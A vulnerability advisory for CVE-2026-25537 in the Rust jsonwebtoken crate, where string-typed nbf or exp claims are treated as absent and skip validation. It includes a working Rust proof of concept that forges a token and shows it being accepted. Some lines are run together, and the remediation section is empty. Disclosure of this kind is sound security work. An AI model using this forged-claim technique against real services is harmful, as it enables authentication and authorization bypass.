Type Confusion leads to potential authorization bypass .
CVE
CVE-2026-25537
Product
jsonwebtoken (rust)
Published
Initiating Handshake...
CVE
CVE-2026-25537
Product
jsonwebtoken (rust)
Published
Feb 3, 2026
Researcher
Krishna Agarwal
Summary
A Type Confusion vulnerability was identified in jsonwebtoken, specifically within its claim validation logic. When certain standard claims, such as nbf (Not Before) or exp (Expiration Time), are supplied with an incorrect JSON type (for example, a string instead of a number), the library's internal parser marks them as “FailedToParse.” However, the validation logic treats this state the same as if the claim were "Not Present." This becomes an issue when a validation check is enabled, like setting validate_nbf = true, but the claim is not explicitly listed in required_spec_claims. In that case, the library skips the validation entirely for malformed claims, acting as though they were never included in the token. Attackers can exploit this to bypass critical time-based security restrictions, leading to potential authentication and authorization bypasses.
Proof of Concept
cargo new nbf_poc
cd nbf_poccargo add serde --features derive
cargo add jsonwebtoken --features rust_crypto
cargo add serde_jsonsrc/main.rs with this:use jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode};
use serde::{Deserialize, Serialize};
#[derive(Debug, Serialize, Deserialize)]
struct Claims {
sub: String,
nbf: String, // Attacker sends nbf as a String
exp: usize,
}
fn main() {
let key: &[u8; 24] = b"RedMouseOverTheSkyIsBlue";
// nbf is a String "99999999999" (Far future)
// Real nbf should be a Number.
let my_claims: Claims = Claims {
sub: "krishna".to_string(),
nbf: "99999999999".to_string(),
exp: 10000000000,
};
let token: String = encode(&Header::default(), &my_claims, &EncodingKey::from_secret(key)).unwrap();
println!("Forged Token: {}", token);
// 2. Configure Validation
let mut validation: Validation = Validation::new(Algorithm::HS256);
validation.validate_nbf = true; // Enable NBF check
// We do NOT add "nbf" to required_spec_claims (default behavior)
// We decode to serde_json::Value to avoid strict type errors in our struct definition hiding the library bug.
// The library sees the raw JSON with string "nbf".
let result: Result<jsonwebtoken::TokenData<serde_json::Value>, jsonwebtoken::errors::Error> = decode::<serde_json::Value>(
&token,
&DecodingKey::from_secret(key),
&validation
);
match result {
Ok(_) => println!("Token was accepted despite malformed far-future 'nbf'!"),
Err(e) => println!("Token rejected. Error: {:?}", e),
}
}cargo runeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwkRemediation